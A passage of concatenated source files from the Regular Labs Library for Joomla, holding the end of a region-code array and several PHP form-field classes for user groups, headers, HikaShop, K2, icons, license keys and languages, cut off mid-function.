'GB-RDG' => "United Kingdom: Reading",
'GB-RDB' => "United Kingdom: Redbridge",
'GB-RCC' => "United Kingdom: Redcar and
Cleveland",
'GB-RFW' => "United Kingdom: Renfrewshire",
'GB-RCT' => "United Kingdom: Rhondda, Cynon, Taff
(Rhondda, Cynon, Taf)",
'GB-RIC' => "United Kingdom: Richmond upon
Thames",
'GB-RCH' => "United Kingdom: Rochdale",
'GB-ROT' => "United Kingdom: Rotherham",
'GB-RUT' => "United Kingdom: Rutland",
'GB-SLF' => "United Kingdom: Salford",
'GB-SAW' => "United Kingdom: Sandwell",
'GB-SCT' => "United Kingdom: Scotland",
'GB-SCB' => "United Kingdom: Scottish Borders,
The",
'GB-SFT' => "United Kingdom: Sefton",
'GB-SHF' => "United Kingdom: Sheffield",
'GB-ZET' => "United Kingdom: Shetland Islands",
'GB-SHR' => "United Kingdom: Shropshire",
'GB-SLG' => "United Kingdom: Slough",
'GB-SOL' => "United Kingdom: Solihull",
'GB-SOM' => "United Kingdom: Somerset",
'GB-SAY' => "United Kingdom: South Ayrshire",
'GB-SGC' => "United Kingdom: South
Gloucestershire",
'GB-SLK' => "United Kingdom: South Lanarkshire",
'GB-STY' => "United Kingdom: South Tyneside",
'GB-STH' => "United Kingdom: Southampton",
'GB-SOS' => "United Kingdom: Southend-on-Sea",
'GB-SWK' => "United Kingdom: Southwark",
'GB-SHN' => "United Kingdom: St. Helens",
'GB-STS' => "United Kingdom: Staffordshire",
'GB-STG' => "United Kingdom: Stirling",
'GB-SKP' => "United Kingdom: Stockport",
'GB-STT' => "United Kingdom: Stockton-on-Tees",
'GB-STE' => "United Kingdom: Stoke-on-Trent",
'GB-STB' => "United Kingdom: Strabane",
'GB-SFK' => "United Kingdom: Suffolk",
'GB-SND' => "United Kingdom: Sunderland",
'GB-SRY' => "United Kingdom: Surrey",
'GB-STN' => "United Kingdom: Sutton",
'GB-SWA' => "United Kingdom: Swansea (Abertawe)",
'GB-SWD' => "United Kingdom: Swindon",
'GB-TAM' => "United Kingdom: Tameside",
'GB-TFW' => "United Kingdom: Telford and Wrekin",
'GB-THR' => "United Kingdom: Thurrock",
'GB-TOB' => "United Kingdom: Torbay",
'GB-TOF' => "United Kingdom: Torfaen (Tor-faen)",
'GB-TWH' => "United Kingdom: Tower Hamlets",
'GB-TRF' => "United Kingdom: Trafford",
'GB-UKM' => "United Kingdom: United Kingdom",
'GB-VGL' => "United Kingdom: Vale of Glamorgan, The
(Bro Morgannwg)",
'GB-WKF' => "United Kingdom: Wakefield",
'GB-WLS' => "United Kingdom: Wales",
'GB-WLL' => "United Kingdom: Walsall",
'GB-WFT' => "United Kingdom: Waltham Forest",
'GB-WND' => "United Kingdom: Wandsworth",
'GB-WRT' => "United Kingdom: Warrington",
'GB-WAR' => "United Kingdom: Warwickshire",
'GB-WBK' => "United Kingdom: West Berkshire",
'GB-WDU' => "United Kingdom: West Dunbartonshire",
'GB-WLN' => "United Kingdom: West Lothian",
'GB-WSX' => "United Kingdom: West Sussex",
'GB-WSM' => "United Kingdom: Westminster",
'GB-WGN' => "United Kingdom: Wigan",
'GB-WNM' => "United Kingdom: Windsor and
Maidenhead",
'GB-WRL' => "United Kingdom: Wirral",
'GB-WOK' => "United Kingdom: Wokingham",
'GB-WLV' => "United Kingdom: Wolverhampton",
'GB-WOR' => "United Kingdom: Worcestershire",
'GB-WRX' => "United Kingdom: Wrexham (Wrecsam)",
'GB-YOR' => "United Kingdom: York",
'--US' => "", '-US' => "United
States",
'US-AL' => "United States: Alabama",
'US-AK' => "United States: Alaska",
'US-AS' => "United States: American Samoa, Samoa
Americana",
'US-AZ' => "United States: Arizona",
'US-AR' => "United States: Arkansas",
'US-CA' => "United States: California",
'US-CO' => "United States: Colorado",
'US-CT' => "United States: Connecticut",
'US-DE' => "United States: Delaware",
'US-DC' => "United States: District of Columbia,
Disricte de Columbia",
'US-FL' => "United States: Florida",
'US-GA' => "United States: Georgia, Geòrgia",
'US-GU' => "United States: Guam",
'US-HI' => "United States: Hawaii",
'US-ID' => "United States: Idaho",
'US-IL' => "United States: Illinois",
'US-IN' => "United States: Indiana",
'US-IA' => "United States: Iowa",
'US-KS' => "United States: Kansas",
'US-KY' => "United States: Kentucky",
'US-LA' => "United States: Louisiana",
'US-ME' => "United States: Maine",
'US-MD' => "United States: Maryland",
'US-MA' => "United States: Massachusetts",
'US-MI' => "United States: Michigan",
'US-MN' => "United States: Minnesota",
'US-MS' => "United States: Mississippi",
'US-MO' => "United States: Missouri",
'US-MT' => "United States: Montana",
'US-NE' => "United States: Nebraska",
'US-NV' => "United States: Nevada",
'US-NH' => "United States: New Hampshire",
'US-NJ' => "United States: New Jersey",
'US-NM' => "United States: New Mexico",
'US-NY' => "United States: New York",
'US-NC' => "United States: North Carolina",
'US-ND' => "United States: North Dakota",
'US-MP' => "United States: Northern Mariana Islands,
Illes Marianes del Nord",
'US-OH' => "United States: Ohio",
'US-OK' => "United States: Oklahoma",
'US-OR' => "United States: Oregon",
'US-PA' => "United States: Pennsylvania",
'US-PR' => "United States: Puerto Rico",
'US-RI' => "United States: Rhode Island",
'US-SC' => "United States: South Carolina",
'US-SD' => "United States: South Dakota",
'US-TN' => "United States: Tennessee",
'US-TX' => "United States: Texas",
'US-UM' => "United States: United States Minor Outlying
Islands, Illes Perifèriques Menors dels EUA",
'US-UT' => "United States: Utah",
'US-VT' => "United States: Vermont",
'US-VI' => "United States: Virgin Islands, Illes
Verge",
'US-VA' => "United States: Virginia",
'US-WA' => "United States: Washington",
'US-WV' => "United States: West Virginia",
'US-WI' => "United States: Wisconsin",
'US-WY' => "United States: Wyoming",
'--VN' => "", '-VN' =>
"Vietnam",
'VN-44' => "Vietnam: An Giang",
'VN-43' => "Vietnam: Bà Rịa - Vũng Tàu",
'VN-57' => "Vietnam: Bình Dương",
'VN-58' => "Vietnam: Bình Phước",
'VN-40' => "Vietnam: Bình Thuận",
'VN-31' => "Vietnam: Bình Định",
'VN-55' => "Vietnam: Bạc Liêu",
'VN-54' => "Vietnam: Bắc Giang",
'VN-53' => "Vietnam: Bắc Kạn",
'VN-56' => "Vietnam: Bắc Ninh",
'VN-50' => "Vietnam: Bến Tre",
'VN-04' => "Vietnam: Cao Bằng",
'VN-59' => "Vietnam: Cà Mau",
'VN-48' => "Vietnam: Cần Thơ",
'VN-30' => "Vietnam: Gia Lai",
'VN-14' => "Vietnam: Hoà Bình",
'VN-03' => "Vietnam: Hà Giang",
'VN-63' => "Vietnam: Hà Nam",
'VN-64' => "Vietnam: Hà Nội, thủ đô",
'VN-15' => "Vietnam: Hà Tây",
'VN-23' => "Vietnam: Hà Tỉnh",
'VN-66' => "Vietnam: Hưng Yên",
'VN-61' => "Vietnam: Hải Duong",
'VN-62' => "Vietnam: Hải Phòng, thành phố",
'VN-73' => "Vietnam: Hậu Giang",
'VN-65' => "Vietnam: Hồ Chí Minh, thành phố [Sài
Gòn]",
'VN-34' => "Vietnam: Khánh Hòa",
'VN-47' => "Vietnam: Kiên Giang",
'VN-28' => "Vietnam: Kon Tum",
'VN-01' => "Vietnam: Lai Châu",
'VN-41' => "Vietnam: Long An",
'VN-02' => "Vietnam: Lào Cai",
'VN-35' => "Vietnam: Lâm Đồng",
'VN-09' => "Vietnam: Lạng Sơn",
'VN-67' => "Vietnam: Nam Định",
'VN-22' => "Vietnam: Nghệ An",
'VN-18' => "Vietnam: Ninh Bình",
'VN-36' => "Vietnam: Ninh Thuận",
'VN-68' => "Vietnam: Phú Thọ",
'VN-32' => "Vietnam: Phú Yên",
'VN-24' => "Vietnam: Quảng Bình",
'VN-27' => "Vietnam: Quảng Nam",
'VN-29' => "Vietnam: Quảng Ngãi",
'VN-13' => "Vietnam: Quảng Ninh",
'VN-25' => "Vietnam: Quảng Trị",
'VN-52' => "Vietnam: Sóc Trăng",
'VN-05' => "Vietnam: Sơn La",
'VN-21' => "Vietnam: Thanh Hóa",
'VN-20' => "Vietnam: Thái Bình",
'VN-69' => "Vietnam: Thái Nguyên",
'VN-26' => "Vietnam: Thừa Thiên-Huế",
'VN-46' => "Vietnam: Tiền Giang",
'VN-51' => "Vietnam: Trà Vinh",
'VN-07' => "Vietnam: Tuyên Quang",
'VN-37' => "Vietnam: Tây Ninh",
'VN-49' => "Vietnam: Vĩnh Long",
'VN-70' => "Vietnam: Vĩnh Phúc",
'VN-06' => "Vietnam: Yên Bái",
'VN-71' => "Vietnam: Điện Biên",
'VN-60' => "Vietnam: Đà Nẵng, thành phố",
'VN-33' => "Vietnam: Đắc Lắk",
'VN-72' => "Vietnam: Đắk Nông",
'VN-39' => "Vietnam: Đồng Nai",
'VN-45' => "Vietnam: Đồng Tháp",
];
}
fields/grouplevel.php000064400000004434151165347200010720 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_GroupLevel extends \RegularLabs\Library\Field
{
public $type = 'GroupLevel';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_all = $this->get('show_all');
$use_names = $this->get('use_names');
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple', 'show_all',
'use_names')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getOptions(
(bool) $attributes->get('show_all'),
(bool) $attributes->get('use_names')
);
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
protected function getOptions($show_all = false, $use_names = false)
{
$options = $this->getUserGroups($use_names);
if ($show_all)
{
$option = (object) [];
$option->value = -1;
$option->text = '- ' . JText::_('JALL') .
' -';
$option->disable = '';
array_unshift($options, $option);
}
return $options;
}
protected function getUserGroups($use_names = false)
{
$value = $use_names ? 'a.title' : 'a.id';
$query = $this->db->getQuery(true)
->select($value . ' as value, a.title as text, a.parent_id AS
parent')
->from('#__usergroups AS a')
->select('COUNT(DISTINCT b.id) AS level')
->join('LEFT', '#__usergroups AS b ON a.lft > b.lft
AND a.rgt < b.rgt')
->group('a.id')
->order('a.lft ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/header.php000064400000006420151165347200007761 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Application\ApplicationHelper as JApplicationHelper;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Header extends \RegularLabs\Library\Field
{
public $type = 'Header';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$title = $this->get('label');
$description = $this->get('description');
$xml = $this->get('xml');
$url = $this->get('url');
if ($description)
{
$description =
RL_String::html_entity_decoder(trim(JText::_($description)));
}
if ($title)
{
$title = JText::_($title);
}
if ($description)
{
// Replace inline monospace style with rl_code classname
$description = str_replace('span
style="font-family:monospace;"', 'span
class="rl_code"', $description);
// 'Break' plugin style tags
$description = str_replace(['{', '['],
['<span>{</span>',
'<span>[</span>'], $description);
// Wrap in paragraph (if not already starting with an html tag)
if ($description[0] != '<')
{
$description = '<p>' . $description .
'</p>';
}
}
if ( ! $xml && $this->form->getValue('element'))
{
if ($this->form->getValue('folder'))
{
$xml = 'plugins/' .
$this->form->getValue('folder') . '/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
else
{
$xml = 'administrator/modules/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
}
if ($xml)
{
$xml = JApplicationHelper::parseXMLInstallFile(JPATH_SITE .
'/' . $xml);
$version = 0;
if ($xml && isset($xml['version']))
{
$version = $xml['version'];
}
if ($version)
{
if (strpos($version, 'PRO') !== false)
{
$version = str_replace('PRO', '', $version);
$version .= ' <small
style="color:green">[PRO]</small>';
}
else if (strpos($version, 'FREE') !== false)
{
$version = str_replace('FREE', '', $version);
$version .= ' <small
style="color:green">[FREE]</small>';
}
if ($title)
{
$title .= ' v';
}
else
{
$title = JText::_('Version') . ' ';
}
$title .= $version;
}
}
$html = [];
if ($title)
{
if ($url)
{
$title = '<a href="' . $url . '"
target="_blank" title="'
. RL_RegEx::replace('<[^>]*>', '',
$title) . '">' . $title . '</a>';
}
$html[] = '<h4>' .
RL_String::html_entity_decoder($title) . '</h4>';
}
if ($description)
{
$html[] = $description;
}
if ($url)
{
$html[] = '<p><a href="' . $url . '"
class="btn btn-default" target="_blank"
title="' . JText::_('RL_MORE_INFO') .
'">' . JText::_('RL_MORE_INFO') . '
>></a></p>';
}
return '</div><div>' . implode('',
$html);
}
}
fields/header_library.php000064400000003060151165347200011502
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
require_once __DIR__ . '/header.php';
class JFormFieldRL_Header_Library extends JFormFieldRL_Header
{
protected function getInput()
{
$extensions = [
'Add to Menu',
'Advanced Module Manager',
'Advanced Template Manager',
'Articles Anywhere',
'Articles Field',
'Better Preview',
'Better Trash',
'Cache Cleaner',
'CDN for Joomla!',
'Components Anywhere',
'Conditional Content',
'Content Templater',
'DB Replacer',
'Dummy Content',
'Email Protector',
'GeoIP',
'IP Login',
'Modals',
'Modules Anywhere',
'Quick Index',
'Regular Labs Extension Manager',
'ReReplacer',
'Simple User Notes',
'Sliders',
'Snippets',
'Sourcerer',
'Tabs',
'Tooltips',
'What? Nothing!',
];
$list = '<ul><li>' .
implode('</li><li>', $extensions) .
'</li></ul>';
$attributes = $this->element->attributes();
$warning = '';
if (isset($attributes['warning']))
{
$warning = '<div class="alert alert-danger">'
. JText::_($attributes['warning']) . '</div>';
}
$this->element->attributes()['description'] =
JText::sprintf($attributes['description'], $warning, $list);
return parent::getInput();
}
}
fields/hikashop.php000064400000005110151165347200010332 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_HikaShop extends \RegularLabs\Library\FieldGroup
{
public $type = 'HikaShop';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'products' => 'product']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__hikashop_category')
->where('category_published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear()
->select('c.category_id')
->from('#__hikashop_category AS c')
->where('c.category_type = ' .
$this->db->quote('root'));
$this->db->setQuery($query);
$root = (int) $this->db->loadResult();
$query->clear()
->select('c.category_id as id, c.category_parent_id AS
parent_id, c.category_name AS title, c.category_published as
published')
->from('#__hikashop_category AS c')
->where('c.category_type = ' .
$this->db->quote('product'))
->where('c.category_published > -1')
->order('c.category_ordering, c.category_name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items, $root);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__hikashop_product AS p')
->where('p.product_published = 1')
->where('p.product_type = ' .
$this->db->quote('main'));
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('p.product_id as id, p.product_name AS name,
p.product_published AS published, c.category_name AS cat')
->join('LEFT', '#__hikashop_product_category AS x ON
x.product_id = p.product_id')
->join('INNER', '#__hikashop_category AS c ON
c.category_id = x.category_id')
->group('p.product_id')
->order('p.product_id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
}
fields/icons.php000064400000006063151165347200007647 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Icons extends \RegularLabs\Library\Field
{
public $type = 'Icons';
protected function getInput()
{
$value = $this->value;
if ( ! is_array($value))
{
$value = explode(',', $value);
}
$classes = [
'reglab icon-contenttemplater',
'home',
'user',
'locked',
'comments',
'comments-2',
'out',
'plus',
'pencil',
'pencil-2',
'file',
'file-add',
'file-remove',
'copy',
'folder',
'folder-2',
'picture',
'pictures',
'list-view',
'power-cord',
'cube',
'puzzle',
'flag',
'tools',
'cogs',
'cog',
'equalizer',
'wrench',
'brush',
'eye',
'star',
'calendar',
'calendar-2',
'help',
'support',
'warning',
'checkmark',
'mail',
'mail-2',
'drawer',
'drawer-2',
'box-add',
'box-remove',
'search',
'filter',
'camera',
'play',
'music',
'grid-view',
'grid-view-2',
'menu',
'thumbs-up',
'thumbs-down',
'plus-2',
'minus-2',
'key',
'quote',
'quote-2',
'database',
'location',
'zoom-in',
'zoom-out',
'health',
'wand',
'refresh',
'vcard',
'clock',
'compass',
'address',
'feed',
'flag-2',
'pin',
'lamp',
'chart',
'bars',
'pie',
'dashboard',
'lightning',
'move',
'printer',
'color-palette',
'camera-2',
'cart',
'basket',
'broadcast',
'screen',
'tablet',
'mobile',
'users',
'briefcase',
'download',
'upload',
'bookmark',
'out-2',
];
$html = [];
if ($this->get('show_none'))
{
$checked = (in_array('0', $value) ? '
checked="checked"' : '');
$html[] = '<fieldset>';
$html[] = '<input type="radio" id="' .
$this->id . '0" name="' . $this->name .
'"' . ' value="0"' . $checked .
'>';
$html[] = '<label for="' . $this->id .
'0">' . JText::_('RL_NO_ICON') .
'</label>';
$html[] = '</fieldset>';
}
foreach ($classes as $i => $class)
{
$id = str_replace(' ', '_', $this->id .
$class);
$checked = (in_array($class, $value) ? '
checked="checked"' : '');
$html[] = '<fieldset class="pull-left">';
$html[] = '<input type="radio" id="' . $id .
'" name="' . $this->name . '"'
. ' value="' . htmlspecialchars($class, ENT_COMPAT,
'UTF-8') . '"' . $checked . '>';
$html[] = '<label for="' . $id . '"
class="btn btn-small hasTip" title="' . $class .
'"><span class="icon-' . $class .
'"></span></label>';
$html[] = '</fieldset>';
}
return '<div id="' . $this->id . '"
class="btn-group radio rl_icon_group">' .
implode('', $html) . '</div>';
}
}
fields/isinstalled.php000064400000001777151165347200011056 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Extension as RL_Extension;
jimport('joomla.form.formfield');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_IsInstalled extends \RegularLabs\Library\Field
{
public $type = 'IsInstalled';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$is_installed =
RL_Extension::isInstalled($this->get('extension'),
$this->get('extension_type'),
$this->get('folder'));
return '<input type="hidden" name="' .
$this->name . '" id="' . $this->id . '"
value="' . (int) $is_installed . '">';
}
}
fields/k2.php000064400000006147151165347200007053 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
// If controller.php exists, assume this is K2 v3
defined('RL_K2_VERSION') or define('RL_K2_VERSION',
file_exists(JPATH_ADMINISTRATOR .
'/components/com_k2/controller.php') ? 3 : 2);
class JFormFieldRL_K2 extends \RegularLabs\Library\FieldGroup
{
public $type = 'K2';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories',
'items', 'tags']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$state_field = RL_K2_VERSION == 3 ? 'state' :
'published';
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__k2_categories AS c')
->where('c.' . $state_field . ' > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$parent_field = RL_K2_VERSION == 3 ? 'parent_id' :
'parent';
$title_field = RL_K2_VERSION == 3 ? 'title' :
'name';
$ordering_field = RL_K2_VERSION == 3 ? 'lft' :
'ordering';
$query->clear('select')
->select('c.id, c.' . $parent_field . ' AS parent_id,
c.' . $title_field . ' AS title, c.' . $state_field . '
AS published');
if ( ! $this->get('getcategories', 1))
{
$query->where('c.' . $parent_field . ' = 0');
}
$query->order('c.' . $ordering_field . ', c.' .
$title_field);
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getTags()
{
$state_field = RL_K2_VERSION == 3 ? 'state' :
'published';
$query = $this->db->getQuery(true)
->select('t.name as id, t.name as name')
->from('#__k2_tags AS t')
->where('t.' . $state_field . ' = 1')
->where('t.name != ' .
$this->db->quote(''))
->group('t.name')
->order('t.name');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
function getItems()
{
$state_field = RL_K2_VERSION == 3 ? 'state' :
'published';
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__k2_items AS i')
->where('i.' . $state_field . ' > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$cat_title_field = RL_K2_VERSION == 3 ? 'title' :
'name';
$query->clear('select')
->select('i.id, i.title as name, c.' . $cat_title_field .
' as cat, i.' . $state_field . ' as published')
->join('LEFT', '#__k2_categories AS c ON c.id =
i.catid')
->group('i.id')
->order('i.title, i.ordering, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
}
fields/key.php000064400000005560151165347200007325 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Key extends \RegularLabs\Library\Field
{
public $type = 'Key';
protected function getInput()
{
$action = $this->get('action',
'Joomla.submitbutton(\'config.save.component.apply\')');
$key = trim($this->value);
if ( ! $key)
{
return '<div id="' . $this->id . '_field"
class="btn-wrapper input-append clearfix">'
. '<input type="text" class="rl_codefield"
name="' . $this->name . '" id="' .
$this->id . '" autocomplete="off"
value="">'
. '<button href="#" class="btn btn-success"
title="' . JText::_('JAPPLY') . '"
onclick="' . $action . '">'
. '<span
class="icon-checkmark"></span>'
. '</button>'
. '</div>';
}
$cloak_length = max(0, strlen($key) - 4);
$key = str_repeat('*', $cloak_length) .
substr($this->value, $cloak_length);
$show = 'jQuery(\'#' . $this->id .
'\').attr(\'name\', \'' . $this->name .
'\');'
. 'jQuery(\'#' . $this->id .
'_hidden\').attr(\'name\', \'\');'
. 'jQuery(\'#' . $this->id .
'_button\').hide();'
. 'jQuery(\'#' . $this->id .
'_field\').show();';
$hide = 'jQuery(\'#' . $this->id .
'\').attr(\'name\', \'\');'
. 'jQuery(\'#' . $this->id .
'_hidden\').attr(\'name\', \'' .
$this->name . '\');'
. 'jQuery(\'#' . $this->id .
'_field\').hide();'
. 'jQuery(\'#' . $this->id .
'_button\').show();';
return
'<div class="rl_keycode pull-left">' . $key .
'</div>'
. '<div id="' . $this->id . '_button"
class="pull-left">'
. '<button class="btn btn-default btn-small"
onclick="' . $show . ';return false;">'
. '<span class="icon-edit"></span> '
. JText::_('JACTION_EDIT')
. '</button>'
. '</div>'
. '<div class="clearfix"></div>'
. '<div id="' . $this->id . '_field"
class="btn-wrapper input-append clearfix"
style="display:none;">'
. '<input type="text" class="rl_codefield"
name="" id="' . $this->id . '"
autocomplete="off" value="">'
. '<button href="#" class="btn btn-success
btn" title="' . JText::_('JAPPLY') . '"
onclick="' . $action . '">'
. '<span class="icon-checkmark"></span>'
. '</button>'
. '<button href="#" class="btn btn-danger
btn" title="' . JText::_('JCANCEL') . '"
onclick="' . $hide . ';return false;">'
. '<span class="icon-cancel-2"></span>'
. '</button>'
. '</div>'
. '<input type="hidden" name="' .
$this->name . '" id="' . $this->id .
'_hidden" value="' . $this->value .
'">';
}
}
fields/languages.php000064400000003363151165347200010502 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Languages extends \RegularLabs\Library\Field
{
public $type = 'Languages';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getLanguages($value);
return $this->selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
function getLanguages($value)
{
$langs = JHtml::_('contentlanguage.existing');
if ( ! is_array($value))
{
$value = [$value];
}
$options = [];
foreach ($langs as $lang)
{
if (empty($lang->value))
{
continue;
}
$options[] = (object) [
'value' => $lang->value,
'text' => $lang->text . ' [' .
$lang->value . ']',
'selected' => in_array($lang->value, $value),
];
}
return $options;
}
}
fields/license.php000064400000001677151165347210010165 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\License as RL_License;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_License extends \RegularLabs\Library\Field
{
public $type = 'License';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$extension = $this->get('extension');
if (empty($extension))
{
return '';
}
$message = RL_License::getMessage($extension, true);
if (empty($message))
{
return '';
}
return '</div><div>' . $message;
}
}
fields/list.php000064400000003735151165347210007513 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
JFormHelper::loadFieldClass('list');
class JFormFieldRL_List extends JFormFieldList
{
protected $type = 'List';
protected function getInput()
{
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= ! empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->size ? ' style="width:' .
$this->size . 'px"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true' || (string) $this->disabled ==
'1' || (string) $this->disabled == 'true')
{
